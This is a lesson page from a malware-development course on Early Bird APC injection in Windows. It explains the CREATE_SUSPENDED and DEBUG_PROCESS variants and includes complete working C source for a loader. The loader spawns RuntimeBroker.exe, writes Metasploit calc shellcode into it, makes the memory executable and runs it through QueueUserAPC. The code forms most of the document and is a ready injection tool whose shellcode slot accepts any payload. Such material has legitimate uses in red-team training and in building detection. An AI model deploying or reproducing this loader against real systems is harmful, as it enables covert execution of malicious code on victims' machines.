Early Bird APC Injection
Executing a payload using Early Bird APC Injection.
Jump to Section (6)
Learning Objectives
0/2 doneIntroduction
In the previous module, QueueUserAPC was used to perform
local APC injection. In this module, the same API will be used to
execute the payload in a remote process. Although the approach will
slightly differ, the method used is the same.
By now it should be well understood that APC injection requires either a suspended or an alertable thread to successfully execute the payload. However, it is difficult to come across threads that are in these states, especially ones that are operating under normal user privileges.
The solution for this is to create a suspended process using the CreateProcess
WinAPI and use the handle to its suspended thread. The suspended thread
meets the criteria to be used in APC injection. This method is known as
Early Bird APC Injection.
Early Bird Implementation Logic (1)
The implementation logic of this technique will be as follows:
-
Create a suspended process by using the
CREATE_SUSPENDEDflag. -
Write the payload to the address space of the new target process.
-
Get the suspended thread's handle from
CreateProcessalong with the payload's base address and pass them toQueueUserAPC. -
Resume the thread using the
ResumeThreadWinAPI to execute the payload.
Early Bird Implementation Logic (2)
The implementation logic explained in the previous section is straightforward. This section introduces an alternative way of implementing Early Bird APC Injection.
CreateProcess will still be used, but the process creation flag will be changed from CREATE_SUSPENDED to DEBUG_PROCESS. The DEBUG_PROCESS
flag will create the new process as a debugged process and make the
local process its debugger. When a process is created as a debugged
process, a breakpoint will be placed in its entry point. This pauses the
process and waits for the debugger (i.e. the malware) to resume
execution.
When this occurs, the payload is injected into the target process to be executed using the QueueUserAPC
WinAPI. Once the payload is injected and the remote debugged thread is
queued to run the payload, the local process can be detached from the
target process using the DebugActiveProcessStop WinAPI which stops the remote process from being debugged.
DebugActiveProcessStop requires only one parameter which is the PID of the debugged process that can be fetched from the PROCESS_INFORMATION structure populated by CreateProcess.
Updated Implementation Logic
The updated implementation will be as follows:
-
Create a debugged process by setting the
DEBUG_PROCESSflag. -
Write the payload to the address space of the new target process.
-
Get the debugged thread's handle from
CreateProcessalong with the payload's base address and pass them toQueueUserAPC. -
Stop the debugging of the remote process using
DebugActiveProcessStopwhich resumes its threads and executes the payload.
Early Bird APC Injection Function
CreateSuspendedProcess2 is a function that performs Early Bird APC Injection and requires 4 arguments:
-
lpProcessName- The name of the process to create. -
dwProcessId- A pointer to a DWORD which will receive the newly created process's PID. -
hProcess- Pointer to a HANDLE that will receive the newly created process's handle. -
hThread- Pointer to a HANDLE that will receive the newly created process's thread.
BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// Cleaning the structs by setting the element values to 0
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// Setting the size of the structure
Si.cb = sizeof(STARTUPINFO);
// Getting the %WINDIR% environment variable path (That is generally 'C:\Windows')
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Creating the target process path
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Running : \"%s\" ... ", lpPath);
// Creating the process
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS, // Instead of CREATE_SUSPENDED
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE \n");
// Filling up the OUTPUT parameter with CreateProcessA's output
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// Doing a check to verify we got everything we need
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
Demo
The image below shows the newly created target process in a debug state. A debugged process is highlighted in purple in Process Hacker.

Next, the payload is written to the target process.

Finally, the payload is executed.

Companion Project & Source Code
4 readable source/config files extracted directly from the archive
// @NUL0x4C | @mrd0x : MalDevAcademy
#include <Windows.h>
#include <stdio.h>
// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)
#define TARGET_PROCESS "RuntimeBroker.exe"
// x64 calc metasploit shellcode
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
/*
inject the input payload into 'hProcess' and return the base address of where did the payload got written
*/
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode, PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\n\t[i] Allocated Memory At : 0x%p \n", *ppAddress);
printf("\t[#] Press <Enter> To Write Payload ... ");
getchar();
if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("\t[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
/*
Parameters:
- lpProcessName; a process name under '\System32\' to create
- dwProcessId; Pointer to a DWORD which will recieve the newly created process's PID.
- hProcess; Pointer to a HANDLE that will recieve the newly created process's handle.
- hThread; Pointer to a HANDLE that will recieve the newly created process's thread.
Creates a new process 'lpProcessName' in suspended state and return its pid, handle, and the handle of its main thread
*/
BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// cleaning the structs
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// setting the size of the structure
Si.cb = sizeof(STARTUPINFO);
// Getting the %WINDIR% environment variable path (this is usually 'C:\Windows')
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Creating the target process path
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Running : \"%s\" ... ", lpPath);
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS, // Substitute of CREATE_SUSPENDED
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
/*
{ both CREATE_SUSPENDED & DEBUG_PROCESS will work,
CREATE_SUSPENDED will need ResumeThread, and
DEBUG_PROCESS will need DebugActiveProcessStop
to resume the execution
}
*/
printf("[+] DONE \n");
// Populating the OUTPUT parameter with 'CreateProcessA's output'
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// Doing a check to verify we got everything we need
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}
int main() {
HANDLE hProcess = NULL,
hThread = NULL;
DWORD dwProcessId = NULL;
PVOID pAddress = NULL;
// creating target remote process (in debugged state)
printf("[i] Creating \"%s\" Process As A Debugged Process ... ", TARGET_PROCESS);
if (!CreateSuspendedProcess2(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
return -1;
}
printf("\t[i] Target Process Created With Pid : %d \n", dwProcessId);
printf("[+] DONE \n\n");
// injecting the payload and getting the base address of it
printf("[i] Writing Shellcode To The Target Process ... ");
if (!InjectShellcodeToRemoteProcess(hProcess, Payload, sizeof(Payload), &pAddress)) {
return -1;
}
printf("[+] DONE \n\n");
// running QueueUserAPC
QueueUserAPC((PTHREAD_START_ROUTINE)pAddress, hThread, NULL);
printf("[#] Press <Enter> To Run Shellcode ... ");
getchar();
// since 'CreateSuspendedProcess2' create a process in debug mode,
// we need to 'Detach' to resume execution; we do using `DebugActiveProcessStop`
printf("[i] Detaching The Target Process ... ");
DebugActiveProcessStop(dwProcessId);
printf("[+] DONE \n\n");
printf("[#] Press <Enter> To Quit ... ");
getchar();
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}
Full Archive Manifest (5 files inside .zip)
- EarlyBird/EarlyBird.sln
- EarlyBird/EarlyBird/EarlyBird.vcxproj
- EarlyBird/EarlyBird/EarlyBird.vcxproj.filters
- EarlyBird/EarlyBird/EarlyBird.vcxproj.user
- EarlyBird/EarlyBird/main.c